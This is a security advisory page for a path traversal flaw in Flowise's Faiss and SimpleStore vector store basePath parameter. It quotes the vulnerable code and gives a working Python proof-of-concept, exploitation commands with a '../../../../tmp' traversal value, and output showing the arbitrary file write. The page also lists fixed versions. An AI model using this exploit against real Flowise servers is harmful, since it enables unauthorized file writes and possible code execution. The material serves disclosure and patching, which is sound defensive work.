Medium

Flowise: Path Traversal in Vector Store basePath

  • Disclosed: 16.04.2026
  • Updated: 11.10.2026 10:22

Summary

The Faiss and SimpleStore (LlamaIndex) vector store implementations accept a basePath parameter from user-controlled input and pass it directly to filesystem write operations without any sanitization. An authenticated attacker can exploit this to write vector store data to arbitrary locations on the server filesystem.

Vulnerability Details

Field Value
Affected File packages/components/nodes/vectorstores/Faiss/Faiss.ts (lines 79, 91)
Affected File packages/components/nodes/vectorstores/SimpleStore/SimpleStore.ts (lines 83-104)

Prerequisites

  1. Authentication: Valid API token with documentStores:upsert-config permission
  2. Document Store: An existing Document Store with at least one processed chunk
  3. Embedding Credentials: Valid embedding provider credentials (e.g., OpenAI API key)

Root Cause

Faiss (Faiss.ts)

ts
async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> {
    const basePath = nodeData.inputs?.basePath as string  // User-controlled
    // ...
    const vectorStore = await FaissStore.fromDocuments(finalDocs, embeddings)
    await vectorStore.save(basePath)  // Direct filesystem write, no validation
}

SimpleStore (SimpleStore.ts)

ts
async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> {
    const basePath = nodeData.inputs?.basePath as string  // User-controlled
    
    let filePath = ''
    if (!basePath) filePath = path.join(getUserHome(), '.flowise', 'llamaindex')
    else filePath = basePath  // Used directly without sanitization
    
    const storageContext = await storageContextFromDefaults({ persistDir: filePath })  // Writes to arbitrary path
}

Impact

An authenticated attacker can:

  1. Write files to arbitrary locations on the server filesystem
  2. Overwrite existing files if the process has write permissions
  3. Potential for code execution by writing to web-accessible directories or startup scripts
  4. Data exfiltration by writing to network-mounted filesystems

Proof of Concept

poc.py

python
#!/usr/bin/env python3
"""
POC: Path Traversal in Vector Store basePath (CWE-22)

Usage:
  python poc.py --target http://localhost:3000 --token <API_KEY> --store-id <STORE_ID> --credential <EMBEDDING_CREDENTIAL_ID>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=120) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True)
    ap.add_argument("--token", required=True)
    ap.add_argument("--store-id", required=True)
    ap.add_argument("--credential", required=True)
    ap.add_argument("--base-path", default="/tmp/flowise-path-traversal-poc")
    args = ap.parse_args()

    payload = {
        "storeId": args.store_id,
        "vectorStoreName": "faiss",
        "vectorStoreConfig": {"basePath": args.base_path},
        "embeddingName": "openAIEmbeddings",
        "embeddingConfig": {"credential": args.credential},
    }

    url = args.target.rstrip("/") + "/api/v1/document-store/vectorstore/insert"
    headers = {"Authorization": f"Bearer {args.token}"}

    try:
        status, body = post_json(url, payload, headers)
        print(body)
    except urllib.error.HTTPError as e:
        print(e.read().decode())

if __name__ == "__main__":
    main()

Setup

  1. Create a Document Store in Flowise UI
  2. Add a Document Loader (e.g., Plain Text) with any content
  3. Click "Process" to create chunks
  4. Note the Store ID from the URL
  5. Get your embedding credential ID from Settings → Credentials

Exploitation

bash
# Write to /tmp
python poc.py \
  --target http://127.0.0.1:3000 \
  --token <API_TOKEN> \
  --store-id <STORE_ID> \
  --credential <OPENAI_CREDENTIAL_ID> \
  --base-path /tmp/flowise-pwned

# Path traversal variant
python poc.py \
  --target http://127.0.0.1:3000 \
  --token <API_TOKEN> \
  --store-id <STORE_ID> \
  --credential <OPENAI_CREDENTIAL_ID> \
  --base-path "../../../../tmp/traversal-test"

Evidence

bash
$ python poc.py --target http://127.0.0.1:3000/ --token <TOKEN> --store-id 30af9716-ea51-47e6-af67-5a759a835100 --credential bb1baf6e-acb7-4ea0-b167-59a09a28108f --base-path /tmp/flowise-pwned

{"numAdded":1,"addedDocs":[{"pageContent":"Lorem Ipsum","metadata":{"docId":"d84d9581-0778-454d-984e-42b372b1b555"}}],"totalChars":0,"totalChunks":0,"whereUsed":[]}

$ ls -la /tmp/flowise-pwned/
total 16
drwxr-xr-x  4 user  wheel   128 Jan 17 12:00 .
drwxrwxrwt 12 root  wheel   384 Jan 17 12:00 ..
-rw-r--r--  1 user  wheel  1234 Jan 17 12:00 docstore.json
-rw-r--r--  1 user  wheel  5678 Jan 17 12:00 faiss.index

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package flowise < 3.1.0 3.1.0
npm package flowise-components < 3.1.0 3.1.0

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N
Weakness (CWE)
CWE-22
Platform
npm
Package
flowise, flowise-components
Disclosed
16.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-w6v6-49gh-mc9w - CC BY 4.0

Vulnerability history: flowise-components

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (31) in the archive
Total entries
31
First → latest
04.2025 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 16
  • High 12
  • Medium 3

Disclosures per year

  1. 2025: 3
  2. 2026: 28
Severity:
  1. Critical CVE-2026-69259 < 3.1.3 3.1.3
  2. Critical CVE-2026-69256 < 3.1.3 3.1.3
  3. Critical CVE-2026-69253 < 3.1.3 3.1.3
  4. Critical CVE-2026-69251 < 3.1.3 3.1.3
  5. High CVE-2026-56274 < 3.1.2 3.1.2
  6. High CVE-2026-41274 < 3.1.0 3.1.0
  7. High · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  8. High · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  9. High · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  10. Critical · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  11. Flowise: Path Traversal in Vector Store basePath this entry
    Medium CVE-2026-56273 < 3.1.0 3.1.0
  12. Critical · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  13. High · 7.6 CVE-2025-29189 < 2.2.4 2.2.4

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.